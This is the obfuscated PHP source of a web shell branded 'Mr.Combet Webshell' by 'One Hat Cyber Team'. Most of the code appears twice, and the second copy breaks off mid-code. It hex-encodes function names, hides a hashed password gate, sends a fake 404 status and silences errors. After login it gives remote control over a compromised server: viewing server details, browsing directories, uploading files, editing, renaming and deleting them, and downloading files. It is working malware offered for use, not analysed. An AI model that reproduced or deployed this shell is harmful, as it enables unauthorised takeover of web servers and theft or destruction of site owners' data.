";$WwW.="v";$WwW.="a";$WwW.="l";$WwW.="u";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="s";$WwW.="u";$WwW.="b";$WwW.="m";$WwW.="i";$WwW.="t";$WwW.="'";$WwW.=">";$WwW.="<";$WwW.="/";$WwW.="f";$WwW.="o";$WwW.="r";$WwW.="m";$WwW.=">";$W=$_SERVER[$Ww];$W.=$WWWw;$W=md5($W);$W=substr($W,0,6);if(isset($_POST[$WWWw])){$_SESSION[$WWWw]=trim($_POST[$WWWw]);}if(empty($_SESSION[$WWWw])||$_SESSION[$WWWw]!=$W){echo $WwW; exit;}error_reporting(0);
http_response_code(404);
define("Yp", "");
$G3 = "scandir";
$c8 = [
"7068705f756e616d65",
"70687076657273696f6e",
"676574637764",
"6368646972",
"707265675f73706c6974",
"61727261795f64696666",
"69735f646972",
"69735f66696c65",
"69735f7772697461626c65",
"69735f7265616461626c65",
"66696c6573697a65",
"636f7079",
"66696c655f657869737473",
"66696c655f7075745f636f6e74656e7473",
"66696c655f6765745f636f6e74656e7473",
"6d6b646972",
"72656e616d65",
"737472746f74696d65",
"68746d6c7370656369616c6368617273",
"64617465",
"66696c656d74696d65",
];
$lE = 0;
T4:
if (!($lE < count($c8))) {
goto Je;
}
$c8[$lE] = JD($c8[$lE]);
Cy:
$lE++;
goto T4;
Je:
if (isset($_GET["p"])) {
goto sr;
}
$Jd = $c8[2]();
goto VN;
sr:
$Jd = jD($_GET["p"]);
$c8[3](Jd($_GET["p"]));
VN:
function Ss($SP)
{
$dE = "";
$lE = 0;
NZ:
if (!($lE < strlen($SP))) {
goto Xc;
}
$dE .= dechex(ord($SP[$lE]));
WK:
$lE++;
goto NZ;
Xc:
return $dE;
}
function Jd($SP)
{
$dE = "";
$gf = strlen($SP) - 1;
$lE = 0;
Xp:
if (!($lE < $gf)) {
goto ur;
}
$dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1]));
Wn:
$lE += 2;
goto Xp;
ur:
return $dE;
}
function rn($F1)
{
$Jd = fileperms($F1);
if (($Jd & 0xc000) == 0xc000) {
goto FZ;
}
if (($Jd & 0xa000) == 0xa000) {
goto Eu;
}
if (($Jd & 0x8000) == 0x8000) {
goto ES;
}
if (($Jd & 0x6000) == 0x6000) {
goto sA;
}
if (($Jd & 0x4000) == 0x4000) {
goto lG;
}
if (($Jd & 0x2000) == 0x2000) {
goto tV;
}
if (($Jd & 0x1000) == 0x1000) {
goto Tx;
}
$lE = "u";
goto cC;
FZ:
$lE = "s";
goto cC;
Eu:
$lE = "l";
goto cC;
ES:
$lE = "-";
goto cC;
sA:
$lE = "b";
goto cC;
lG:
$lE = "d";
goto cC;
tV:
$lE = "c";
goto cC;
Tx:
$lE = "p";
cC:
$lE .= $Jd & 0x100 ? "r" : "-";
$lE .= $Jd & 0x80 ? "w" : "-";
$lE .= $Jd & 0x40 ? ($Jd & 0x800 ? "s" : "x") : ($Jd & 0x800 ? "S" : "-");
$lE .= $Jd & 0x20 ? "r" : "-";
$lE .= $Jd & 0x10 ? "w" : "-";
$lE .= $Jd & 0x8 ? ($Jd & 0x400 ? "s" : "x") : ($Jd & 0x400 ? "S" : "-");
$lE .= $Jd & 0x4 ? "r" : "-";
$lE .= $Jd & 0x2 ? "w" : "-";
$lE .= $Jd & 0x1 ? ($Jd & 0x200 ? "t" : "x") : ($Jd & 0x200 ? "T" : "-");
return $lE;
}
function Xe($OB, $Ch = 1, $BL = "")
{
global $Jd;
$xe = $Ch == 1 ? "success" : "error";
echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" .
Ss($Jd) .
$BL .
"\"}})</script>";
}
function tF($yf)
{
global $c8;
if (!(trim(pathinfo($yf, PATHINFO_BASENAME), ) === "")) {
goto IE;
}
return;
IE:
if ($c8[6]($yf)) {
goto PF;
}
unlink($yf);
goto jK;
PF:
array_map(
"deldir",
glob($yf . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)
);
rmdir($yf);
jK:
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta property="og:title" content="Mr.Combet Webshell 🔥" />
<meta property="og:description" content="One Hat Cyber Team" />
<meta name="theme-color" content="#ff0000">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<title>Mr.Combet Webshell 🔥</title>
<style>
@import url('//fonts.googleapis.com/css2?family=Kelly+Slab&display=swap');
body {
color: black;
font-size: 0px;
font-family: 'Kelly Slab';
width: 99%;
padding: 0px;
margin-right: auto;
margin-left: auto;
margin-top: 7px;
margin-bottom: 7px;
background-color: black!important; }
.bg-dark { background-color: black!important; }
.border {
box-shadow: 0px 0px 10px #ff0000;
border: 2px solid #ffff00!important;
border-radius: 5px;
background: transparent;
}
.border:hover {
box-shadow: 0px 0px 10px #ffff00;
border: 2px solid #ff0000!important;
}
.table td { padding: 0.1rem;box-shadow: inset 0px 0px 0px 1px #ff0000;border-radius: 2px; }
.table thead th {
box-shadow: inset 0px 0px 0px 1.5px #ff0000;
color: #ffff00;
padding: 0.25rem;
border-radius: 5px;
background: linear-gradient(to bottom, black, #3f3f3f80);
}
.table-hover tbody tr:hover td{ background: #3f3f3f80;box-shadow: inset 0px 0px 0px 1px #ffff00;border-radius: 2px; }
.table-hover tbody tr:hover td>*{ }
.table>tbody>tr>*{ color:#fff; vertical-align:middle; }
.form-control{background:0 0!important;color:#fff!important;border-radius:0;}
.form-control::placeholder{color:#fff;opacity:1}
.form-group {
margin-top: 1.5px;
margin-bottom: 1.5px;
}
li{
font-size:17px!important;
color: #ffff00!important;
list-style: inherit!important;
}
a {
color: #ffffff!important;
text-decoration: none!important;
}
a:hover {
text-decoration: none!important;
color: #ffff00!important;
}
h5 {
margin-top: 1.5px;
margin-bottom: 1.5px;
font-size: 18px!important;
color: #ffff00!important;
padding: 2px;
}
textarea {
width: 97%;
font-size: 16px;
font-family: inherit;
height: 44vh;
padding-left: 5px;
}
button, input {
border: 2px solid #ffff00;
border-radius: 5px;
font-size: 15px;
color:white;
line-height: normal;
font-family: inherit;
box-shadow: 0px 0px 5px #ff0000;
}
button, input:hover { border: 2px solid #ff0000;cursor: pointer;box-shadow: 0px 0px 5px #ffff00; }
.ohct {
padding-left: 1rem;
padding-right: 1rem;
color: white;
border: 2px solid #ffff00;
border-radius: 5px;
background-color: transparent;
font-family: inherit;
font-size: 16px;
box-shadow: 0px 0px 5px #ff0000;
}
.ohct:hover {
border: 2px solid #ff0000;
color: #ffff00!important;
box-shadow: 0px 0px 5px #ffff00;
}
.combet { color: white; }
.combet:hover { color: #ffff00; }
.p-1 { padding: 4px; }
</style>
<style>
.fa {padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;color: #ffff00;}
.fa:hover {border: 2px solid #ff0000;}
.text-light {color: #f8f9fa!important;font-size: 17px!important;}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;border: 2px solid #ff0000;border-radius:5px;">
<li>Your IP : <span style="color: white;">echo gethostbyname(
$_SERVER["REMOTE_ADDR"]
);</span></li>
<li>Server IP : <span style="color: white;">echo gethostbyname(
$_SERVER["SERVER_NAME"]
);</span></li>
<li>Server : <span style="color: white;">echo php_uname();</span></li>
<li>Server Software : <span style="color: white;">echo $_SERVER[
"SERVER_SOFTWARE"
];</span></li>
<li>PHP Version : <span style="color: white;">echo phpversion();</span></li>
<li>Add File : <a href="?p== ss($Jd) .
"&a=" .
Ss("newFile")" class="ohct">Submit</a></li>
<li>Add Directory : <a href="?p== Ss($Jd) .
"&a=" .
sS("newDir")" class="ohct">Submit</a></li>
<li><form method="post" enctype="multipart/form-data" style="padding: 0.10rem;display: inline-block;">
<input type="file" name="f[]" multiple>
<input type="submit" value="Submit" name="submit" class="ohct">
if (!isset($_FILES["f"])) {
goto ea;
}
$Wx = $_FILES["f"]["name"];
$lE = 0;
th:
if (!($lE < count($Wx))) {
goto dx;
}
if ($c8[11]($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) {
goto PG;
}
Xe("file failed to upload", 0);
goto tG;
PG:
XE("file uploaded successfully");
tG:
g9:
$lE++;
goto th;
dx:
ea:
if (!isset($_GET["download"])) {
goto FA;
}
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: Binary");
header("Content-Length: " . $c8[17](JD($_GET["n"])));
header("Content-disposition: attachment; filename=\"" . jd($_GET["n"]) . "\"");
FA:
</form></li>
</div>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;margin-bottom: 3px;margin-top: 3px;border: 2px solid #ff0000;border-radius:5px;">
<li>Dir : <span>$Op = $c8[4]("/(\\\\|\\/)/", $Jd);
foreach ($Op as $j3 => $Oe) {
if (!($j3 == 0 && $Oe == "")) {
goto xi;
}
echo "<a href=\"?p=2f\" class=\"combet\">~</a>/";
goto CS;
xi:
if (!($Oe == "")) {
goto sq;
}
goto CS;
sq:
echo "<a class=\"combet\" href=\"?p=";
$lE = 0;
de:
if (!($lE <= $j3)) {
goto ie;
}
echo sS($Op[$lE]);
if (!($lE != $j3)) {
goto s0;
}
echo "2f";
s0:
dg:
$lE++;
goto de;
ie:
echo "\">{$Oe}</a>/";
CS:
}
Go:
</span></li></div>
<div class="table-responsive text-light" style="text-align: center;font-family: inherit;font-size: 17px;">
if (!isset($_GET["a"])) {
goto Un;
}
if (!isset($_GET["a"])) {
goto cc;
}
$im = Jd($_GET["a"]);
cc:
<div class="table-responsive text-light">
if (!($im == "delete")) {
goto Lu;
}
$BL = $Jd . "/" . Jd($_GET["n"]);
if (!($_GET["t"] == "d")) {
goto VZ;
}
TF($BL);
if (!$c8[12]($BL)) {
goto e8;
}
Xe("failed to delete the folder", 0);
goto iL;
e8:
Xe("folder deleted successfully");
iL:
VZ:
if (!($_GET["t"] == "f")) {
goto xB;
}
$BL = $Jd . "/" . jd($_GET["n"]);
unlink($BL);
if (!$c8[12]($BL)) {
goto uH;
}
Xe("file to delete the folder", 0);
goto Mk;
uH:
xe("file deleted successfully");
Mk:
xB:
Lu:
if ($im == "newDir") {
goto Fg;
}
if ($im == "newFile") {
goto Pb;
}
if ($im == "rename") {
goto Lw;
}
if ($im == "edit") {
goto Ox;
}
if ($im == "view") {
goto Ag;
}
goto WC;
Fg:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">New Folder Name :</h5>
<form method="post">
<div class="form-group">
<input name="n" id="n" class="border p-1" autocomplete="off" style="text-align: center;">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
isset($_POST["s"])
? ($c8[12]("{$Jd}/{$_POST["n"]}")
? xE("folder name has been used", 0, "&a=" . SS("newDir"))
: ($c8[15]("{$Jd}/{$_POST["n"]}")
? Xe("folder created successfully")
: Xe("folder failed to create", 0)))
: null;
goto WC;
Pb:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">New File Name :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border p-1" placeholder="" style="text-align: center;">
</div>
<div class="form-group">
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
isset($_POST["s"])
? ($c8[12]("{$Jd}/{$_POST["n"]}")
? xE("file name has been used", 0, "&a=" . SS("newFile"))
: ($c8[13]("{$Jd}/{$_POST["n"]}", $_POST["ctn"])
? XE("", 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"]))
: Xe("file failed to create", 0)))
: null;
goto WC;
Lw:
<h5 class="border p-1">Rename File : = jD($_GET["n"])</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" style="text-align: center;" class="border p-1" value="= jD(
$_GET["n"]
)">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
isset($_POST["s"])
? ($c8[16]($Jd . "/" . jD($_GET["n"]), $_POST["n"])
? XE("successfully changed the folder name")
: Xe("failed to change the folder name", 0))
: null;
goto WC;
Ox:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">Edit File Name : <font color="white">= Jd(
$_GET["n"]
)</font></h5>
<form method="post">
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border">= $c8[18](
$c8[14]($Jd . "/" . jD($_GET["n"]))
)</textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
isset($_POST["s"])
? ($c8[13]($Jd . "/" . jD($_GET["n"]), $_POST["ctn"])
? xE(
"file contents changed successfully",
1,
"&a=" . sS("view") . "&n={$_GET["n"]}"
)
: xE("file contents failed to change"))
: null;
goto WC;
Ag:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">View File Name : <font color="white">= jd(
$_GET["n"]
)</font></h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly>= $c8[18](
$c8[14]($Jd . "/" . jd($_GET["n"]))
)</textarea>
</div>
WC:
</div>
goto mR;
Un:
<table class="table table-hover table-borderless table-sm" style="text-align: center;width: 100%;">
<thead class="text-light">
<tr>
<th style="width: 45%;">Name</th>
<th style="width: 13%;">Size</th>
<th style="width: 13%;">Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light"> $G3 = $c8[5]($G3($Jd), [, ".."]);
foreach ($G3 as $yf) {
if ($c8[6]("{$Jd}/{$yf}")) {
goto CB;
}
goto Qj;
CB:
echo "
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-folder-o\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i><a href=\"?p=" .
sS("{$Jd}/{$yf}") .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " .
$c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$yf}")) .
"\">{$yf}</a></td>
<td style=\"color: black;\"><span></span></td>
<td><font color=\"" .
($c8[8]("{$Jd}/{$yf}")
? "#00ff00"
: (!$c8[9]("{$Jd}/{$yf}")
? "#ff0000"
: null)) .
"\">" .
RN("{$Jd}/{$yf}") .
"</font></td>
<td style=\"color: black;width: 9.5%;\"><span></span></td>
<td>
<a href=\"?p=" .
ss($Jd) .
"&a=" .
ss("rename") .
"&n=" .
ss($yf) .
"&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a>
</td>
<td>
<a href=\"?p=" .
sS($Jd) .
"&a=" .
ss("delete") .
"&n=" .
ss($yf) .
"\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a>
</td>
</tr>";
Qj:
}
ad:
foreach ($G3 as $F1) {
if ($c8[7]("{$Jd}/{$F1}")) {
goto wA;
}
goto X1;
wA:
$kL = $c8[10]("{$Jd}/{$F1}") / 1024;
$kL = round($kL, 3);
$kL = $kL > 1024 ? round($kL / 1024, 2) . " MB" : $kL . " KB";
echo "
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-file-o\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i><a href=\"?p=" .
SS($Jd) .
"&a=" .
sS("view") .
"&n=" .
SS($F1) .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " .
$c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$F1}")) .
"\">{$F1}</a></td>
<td><span>{$kL}</span></td>
<td><font color=\"" .
($c8[8]("{$Jd}/{$F1}")
? "#00ff00"
: (!$c8[9]("{$Jd}/{$F1}")
? "#ff0000"
: null)) .
"\">" .
rN("{$Jd}/{$F1}") .
"</font></td>
<td><a href=\"?p=" .
Ss($Jd) .
"&a=" .
Ss("edit") .
"&n=" .
SS($F1) .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\">Edit</a></td>
<td><a href=\"?p=" .
ss($Jd) .
"&a=" .
SS("rename") .
"&n=" .
ss($F1) .
"&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a></td>
<td><a href=\"?p=" .
ss($Jd) .
"&a=" .
sS("delete") .
"&n=" .
ss($F1) .
"\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a></td>
</tr>";
X1:
}
a2:
</tbody>
</table>
<h5 style="color: #ffff00;">
<font>© Copyright 2022</font>
<font style="color: #ff0000;">Mr.Combet</font>
<font>Powered by </font>
<font style="color: #ff0000;">One Hat Cyber Team</font>
</h5>
mR:
</div>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>
</body>
</html>
$Ww="H";$WWWw="l";$WwW ="<";$WWWw.="g";$WWWw.="_";$WWWw.="m";$Ww.="T";$Ww.="T";$WWWw.="i";$WwW.="f";$Ww.="P";$Ww.="_";$WwW.="o";$WWWw.="m";$Ww.="H";$Ww.="O";$WwW.="r";$WWWw.="a";$Ww.="S";$WwW.="m";$Ww.="T";$WwW.=" ";$WwW.="n";$WwW.="a";$WwW.="m";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="f";$WwW.="o";$WwW.="r";$WwW.="m";$WwW.="1";$WwW.="'";$WwW.=" ";$WwW.="a";$WwW.="c";$WwW.="t";$WwW.="i";$WwW.="o";$WwW.="n";$WwW.="=";$WwW.="'";$WwW.="'";$WwW.=" ";$WwW.="m";$WwW.="e";$WwW.="t";$WwW.="h";$WwW.="o";$WwW.="d";$WwW.="=";$WwW.="'";$WwW.="p";$WwW.="o";$WwW.="s";$WwW.="t";$WwW.="'";$WwW.=">";$WwW.="<";$WwW.="i";$WwW.="n";$WwW.="p";$WwW.="u";$WwW.="t";$WwW.=" ";$WwW.="n";$WwW.="a";$WwW.="m";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="l";$WwW.="g";$WwW.="_";session_start();$WwW.="m";$WwW.="i";$WwW.="m";$WwW.="a";$WwW.="'";$WwW.=" ";$WwW.="t";$WwW.="y";$WwW.="p";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="t";$WwW.="e";$WwW.="x";$WwW.="t";$WwW.="'";$WwW.=">";$WwW.="<";$WwW.="i";$WwW.="n";$WwW.="p";$WwW.="u";$WwW.="t";$WwW.=" ";$WwW.="n";$WwW.="a";$WwW.="m";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="s";$WwW.="u";$WwW.="b";$WwW.="m";$WwW.="i";$WwW.="t";$WwW.="'";$WwW.=" ";$WwW.="t";$WwW.="y";$WwW.="p";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="s";$WwW.="u";$WwW.="b";$WwW.="m";$WwW.="i";$WwW.="t";$WwW.="'";$WwW.=" ";$WwW.="v";$WwW.="a";$WwW.="l";$WwW.="u";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="s";$WwW.="u";$WwW.="b";$WwW.="m";$WwW.="i";$WwW.="t";$WwW.="'";$WwW.=">";$WwW.="<";$WwW.="/";$WwW.="f";$WwW.="o";$WwW.="r";$WwW.="m";$WwW.=">";$W=$_SERVER[$Ww];$W.=$WWWw;$W=md5($W);$W=substr($W,0,6);if(isset($_POST[$WWWw])){$_SESSION[$WWWw]=trim($_POST[$WWWw]);}if(empty($_SESSION[$WWWw])||$_SESSION[$WWWw]!=$W){echo $WwW; exit;}error_reporting(0);
http_response_code(404);
define("Yp", "");
$G3 = "scandir";
$c8 = [
"7068705f756e616d65",
"70687076657273696f6e",
"676574637764",
"6368646972",
"707265675f73706c6974",
"61727261795f64696666",
"69735f646972",
"69735f66696c65",
"69735f7772697461626c65",
"69735f7265616461626c65",
"66696c6573697a65",
"636f7079",
"66696c655f657869737473",
"66696c655f7075745f636f6e74656e7473",
"66696c655f6765745f636f6e74656e7473",
"6d6b646972",
"72656e616d65",
"737472746f74696d65",
"68746d6c7370656369616c6368617273",
"64617465",
"66696c656d74696d65",
];
$lE = 0;
T4:
if (!($lE < count($c8))) {
goto Je;
}
$c8[$lE] = JD($c8[$lE]);
Cy:
$lE++;
goto T4;
Je:
if (isset($_GET["p"])) {
goto sr;
}
$Jd = $c8[2]();
goto VN;
sr:
$Jd = jD($_GET["p"]);
$c8[3](Jd($_GET["p"]));
VN:
function Ss($SP)
{
$dE = "";
$lE = 0;
NZ:
if (!($lE < strlen($SP))) {
goto Xc;
}
$dE .= dechex(ord($SP[$lE]));
WK:
$lE++;
goto NZ;
Xc:
return $dE;
}
function Jd($SP)
{
$dE = "";
$gf = strlen($SP) - 1;
$lE = 0;
Xp:
if (!($lE < $gf)) {
goto ur;
}
$dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1]));
Wn:
$lE += 2;
goto Xp;
ur:
return $dE;
}
function rn($F1)
{
$Jd = fileperms($F1);
if (($Jd & 0xc000) == 0xc000) {
goto FZ;
}
if (($Jd & 0xa000) == 0xa000) {
goto Eu;
}
if (($Jd & 0x8000) == 0x8000) {
goto ES;
}
if (($Jd & 0x6000) == 0x6000) {
goto sA;
}
if (($Jd & 0x4000) == 0x4000) {
goto lG;
}
if (($Jd & 0x2000) == 0x2000) {
goto tV;
}
if (($Jd & 0x1000) == 0x1000) {
goto Tx;
}
$lE = "u";
goto cC;
FZ:
$lE = "s";
goto cC;
Eu:
$lE = "l";
goto cC;
ES:
$lE = "-";
goto cC;
sA:
$lE = "b";
goto cC;
lG:
$lE = "d";
goto cC;
tV:
$lE = "c";
goto cC;
Tx:
$lE = "p";
cC:
$lE .= $Jd & 0x100 ? "r" : "-";
$lE .= $Jd & 0x80 ? "w" : "-";
$lE .= $Jd & 0x40 ? ($Jd & 0x800 ? "s" : "x") : ($Jd & 0x800 ? "S" : "-");
$lE .= $Jd & 0x20 ? "r" : "-";
$lE .= $Jd & 0x10 ? "w" : "-";
$lE .= $Jd & 0x8 ? ($Jd & 0x400 ? "s" : "x") : ($Jd & 0x400 ? "S" : "-");
$lE .= $Jd & 0x4 ? "r" : "-";
$lE .= $Jd & 0x2 ? "w" : "-";
$lE .= $Jd & 0x1 ? ($Jd & 0x200 ? "t" : "x") : ($Jd & 0x200 ? "T" : "-");
return $lE;
}
function Xe($OB, $Ch = 1, $BL = "")
{
global $Jd;
$xe = $Ch == 1 ? "success" : "error";
echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" .
Ss($Jd) .
$BL .
"\"}})</script>";
}
function tF($yf)
{
global $c8;
if (!(trim(pathinfo($yf, PATHINFO_BASENAME), ) === "")) {
goto IE;
}
return;
IE:
if ($c8[6]($yf)) {
goto PF;
}
unlink($yf);
goto jK;
PF:
array_map(
"deldir",
glob($yf . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)
);
rmdir($yf);
jK:
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta property="og:title" content="Mr.Combet Webshell 🔥" />
<meta property="og:description" content="One Hat Cyber Team" />
<meta name="theme-color" content="#ff0000">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<title>Mr.Combet Webshell 🔥</title>
<style>
@import url('//fonts.googleapis.com/css2?family=Kelly+Slab&display=swap');
body {
color: black;
font-size: 0px;
font-family: 'Kelly Slab';
width: 99%;
padding: 0px;
margin-right: auto;
margin-left: auto;
margin-top: 7px;
margin-bottom: 7px;
background-color: black!important; }
.bg-dark { background-color: black!important; }
.border {
box-shadow: 0px 0px 10px #ff0000;
border: 2px solid #ffff00!important;
border-radius: 5px;
background: transparent;
}
.border:hover {
box-shadow: 0px 0px 10px #ffff00;
border: 2px solid #ff0000!important;
}
.table td { padding: 0.1rem;box-shadow: inset 0px 0px 0px 1px #ff0000;border-radius: 2px; }
.table thead th {
box-shadow: inset 0px 0px 0px 1.5px #ff0000;
color: #ffff00;
padding: 0.25rem;
border-radius: 5px;
background: linear-gradient(to bottom, black, #3f3f3f80);
}
.table-hover tbody tr:hover td{ background: #3f3f3f80;box-shadow: inset 0px 0px 0px 1px #ffff00;border-radius: 2px; }
.table-hover tbody tr:hover td>*{ }
.table>tbody>tr>*{ color:#fff; vertical-align:middle; }
.form-control{background:0 0!important;color:#fff!important;border-radius:0;}
.form-control::placeholder{color:#fff;opacity:1}
.form-group {
margin-top: 1.5px;
margin-bottom: 1.5px;
}
li{
font-size:17px!important;
color: #ffff00!important;
list-style: inherit!important;
}
a {
color: #ffffff!important;
text-decoration: none!important;
}
a:hover {
text-decoration: none!important;
color: #ffff00!important;
}
h5 {
margin-top: 1.5px;
margin-bottom: 1.5px;
font-size: 18px!important;
color: #ffff00!important;
padding: 2px;
}
textarea {
width: 97%;
font-size: 16px;
font-family: inherit;
height: 44vh;
padding-left: 5px;
}
button, input {
border: 2px solid #ffff00;
border-radius: 5px;
font-size: 15px;
color:white;
line-height: normal;
font-family: inherit;
box-shadow: 0px 0px 5px #ff0000;
}
button, input:hover { border: 2px solid #ff0000;cursor: pointer;box-shadow: 0px 0px 5px #ffff00; }
.ohct {
padding-left: 1rem;
padding-right: 1rem;
color: white;
border: 2px solid #ffff00;
border-radius: 5px;
background-color: transparent;
font-family: inherit;
font-size: 16px;
box-shadow: 0px 0px 5px #ff0000;
}
.ohct:hover {
border: 2px solid #ff0000;
color: #ffff00!important;
box-shadow: 0px 0px 5px #ffff00;
}
.combet { color: white; }
.combet:hover { color: #ffff00; }
.p-1 { padding: 4px; }
</style>
<style>
.fa {padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;color: #ffff00;}
.fa:hover {border: 2px solid #ff0000;}
.text-light {color: #f8f9fa!important;font-size: 17px!important;}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;border: 2px solid #ff0000;border-radius:5px;">
<li>Your IP : <span style="color: white;">echo gethostbyname(
$_SERVER["REMOTE_ADDR"]
);</span></li>
<li>Server IP : <span style="color: white;">echo gethostbyname(
$_SERVER["SERVER_NAME"]
);</span></li>
<li>Server : <span style="color: white;">echo php_uname();</span></li>
<li>Server Software : <span style="color: white;">echo $_SERVER[
"SERVER_SOFTWARE"
];</span></li>
<li>PHP Version : <span style="color: white;">echo phpversion();</span></li>
<li>Add File : <a href="?p== ss($Jd) .
"&a=" .
Ss("newFile")" class="ohct">Submit</a></li>
<li>Add Directory : <a href="?p== Ss($Jd) .
"&a=" .
sS("newDir")" class="ohct">Submit</a></li>
<li><form method="post" enctype="multipart/form-data" style="padding: 0.10rem;display: inline-block;">
<input type="file" name="f[]" multiple>
<input type="submit" value="Submit" name="submit" class="ohct">
if (!isset($_FILES["f"])) {
goto ea;
}
$Wx = $_FILES["f"]["name"];
$lE = 0;
th:
if (!($lE < count($Wx))) {
goto dx;
}
if ($c8[11]($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) {
goto PG;
}
Xe("file failed to upload", 0);
goto tG;
PG:
XE("file uploaded successfully");
tG:
g9:
$lE++;
goto th;
dx:
ea:
if (!isset($_GET["download"])) {
goto FA;
}
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: Binary");
header("Content-Length: " . $c8[17](JD($_GET["n"])));
header("Content-disposition: attachment; filename=\"" . jd($_GET["n"]) . "\"");
FA:
</form></li>
</div>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;margin-bottom: 3px;margin-top: 3px;border: 2px solid #ff0000;border-radius:5px;">
<li>Dir : <span>$Op = $c8[4]("/(\\\\|\\/)/", $Jd);
foreach ($Op as $j3 => $Oe) {
if (!($j3 == 0 && $Oe == "")) {
goto xi;
}
echo "<a href=\"?p=2f\" class=\"combet\">~</a>/";
goto CS;
xi:
if (!($Oe == "")) {
goto sq;
}
goto CS;
sq:
echo "<a class=\"combet\" href=\"?p=";
$lE = 0;
de:
